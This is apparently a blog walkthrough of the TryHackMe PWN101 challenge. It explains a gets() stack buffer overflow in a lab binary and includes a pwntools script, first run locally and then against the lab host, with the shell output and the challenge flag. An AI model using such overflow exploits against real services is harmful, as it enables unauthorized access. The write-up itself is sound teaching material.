In this blog, we'll see a simple example of buffer overflow in Linux environment via a TryHackMe room call PWN101.
First connect to the THM using the VPN and spin up the machine. Then download the files fomr Challenge 1 to get started.
Challenge Overview
First challenge is running on port 9001
root@kali ~/t/pwn101# nc -nv 10.10.87.37 9001
(UNKNOWN) [10.10.160.17] 9001 (?) open
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
After downloading the files. We can check the file type
root@kali ~/t/pwn101# file pwn101.pwn101
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
It is a 64-bit executable. Now checking if there are any protection is enabled.
root@kali ~/t/pwn101# checksec --file=pwn101.pwn101
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 72) Symbols No 0 1 pwn101.pwn101
NX bit is Enabled - Cannot execute code from stack and heap segment.
PIE - Position Independent Executable is enabled
Give execution permission.
chmod +x pwn101.pwn101
Run the local binary
root@kali ~/t/pwn101# ./pwn101.pwn101
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 101
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
biryani
Nah bruh, you lied me :(
She did Tomato rice instead of briyani :/
The executable expects a string value.
Debugging And Understanding Buffer Overflow
Although we can use any debuggers like IDA, Immunity, GDB. In this we are using the Cutter debugger.
Download it from the above link and give executable permission
chmod +x Cutter-v2.0.5-x64.Linux.AppImage
Now we just have to run it via terminal
root@kali ~/t/pwn101# ./Cutter-v2.0.5-x64.Linux.AppImage pwn101.pwn101
"0.3.4" "0.3.4"
Setting PYTHONHOME = "/tmp/.mount_CutterztOlQR/usr" for AppImage.
PYTHONHOME = "/tmp/.mount_CutterztOlQR/usr"
Setting Rizin prefix = "/tmp/.mount_CutterztOlQR/usr" for AppImage.
Setting Rizin plugins dir = "/tmp/.mount_CutterztOlQR/usr/share/rizin/plugins"
Plugins are loaded from "/root/.local/share/rizin/cutter/plugins"
Loaded 0 plugin(s).
Plugins are loaded from "/tmp/.mount_CutterztOlQR/usr/share/xfce4/rizin/cutter/plugins"
Plugins are loaded from "/tmp/.mount_CutterztOlQR/usr/local/share/rizin/cutter/plugins"
Plugins are loaded from "/tmp/.mount_CutterztOlQR/usr/share/rizin/cutter/plugins"
We are more interested towards the main() function. We can get a graphical representation by, Right click on main → show → Graph
Now we have a proper representation of the executable.
We can see that it calls “gets” function, because it does not perform proper checks in user input and trusts it blindly. We insert a long string and it will read it without any problem, if we put any special character it will stop.
It takes input as char s that is declared above as rbp-0x40.
Then it compares dword value ie 0x539 with rbp-0x40.
It also has JNE - Jump if not equal, if the condition is true
Then it calls the system ie a shell. So the value of dword var_4h is different that 0x539, we can get a shell.
The value 0x539 is assigned to var_4h that is a unsigned 64 bit integer. Meaning 8 bytes of memory has been allocated to store this variable.
To understand the code flow better, we can navigate to decompiler, select 'Ghidra' as a decompiler.
We can see that during the time of comparison, it is interpreted as 32 bit integer. Also if the values didn't match, it calls a system() function that spawn a shell. We can also see the reference of 32 bit integer in the main function graph.
It is stored as dword ie double word (32 bits).
Now we have basic understanding of the execution flow. Let's write the exploit
Writing The Exploit
Writing a Buffer Overflow exploit in python3 that will send 100 A's into the input field. Using Pwntools library that is very useful for exploit development
pip install pwntools
The code will be as follows,
from pwn import*context.binary = binary ="./pwn101.pwn101"payload =b"A"*100# Sending A'sp =process()p.recv()p.sendline(payload)p.interactive()# spawns the shell
The code is self-explanatory, running it in the local environment first
root@kali ~/t/pwn101# python3 exploit.py
[*] '/root/tryhackme/pwn101/pwn101.pwn101'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/root/tryhackme/pwn101/pwn101.pwn101': pid 13355
[*] Switching to interactive mode
Thanks, Here's a small gift for you <3
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls
Cutter-v2.0.5-x64.Linux.AppImage exploit.py pwn101.pwn101
The exploit ran successfully and gave us a shell on the local machine.
Now let's run on the actual target machine.
Running Exploit On The Target.
Now we update the python script to connect to the target ip via port 9001 and send the malicious string to get a shell on the target.
from pwn import*context.binary = binary ="./pwn101.pwn101"payload =b"A"*100# Sending A's# p = process()p =remote("10.10.87.37", 9001)# For remote connectionp.recv()p.sendline(payload)p.interactive()# spawns the shell
Finally, running the exploit.
root@kali ~/t/pwn101# python3 exploit.py
[*] '/root/tryhackme/pwn101/pwn101.pwn101'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.87.37 on port 9001: Done
[*] Switching to interactive mode
Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D
Type the required ingredients to make briyani:
Thanks, Here's a small gift for you <3
$ whoami
pwn101
$ id
uid=1002(pwn101) gid=1002(pwn101) groups=1002(pwn101)
$ hostname
pwn
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:ca:ee:a6:d3:6f brd ff:ff:ff:ff:ff:ff
inet 10.10.87.37/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 2107sec preferred_lft 2107sec
inet6 fe80::ca:eeff:fea6:d36f/64 scope link
valid_lft forever preferred_lft forever
$ ls
flag.txt
pwn101
pwn101.c
$ cat flag.txt
THM{7h4t's_4n_3zy_oveRflowwwww}
$
The exploit ran successfully and spawned a shell. We can now get the flag.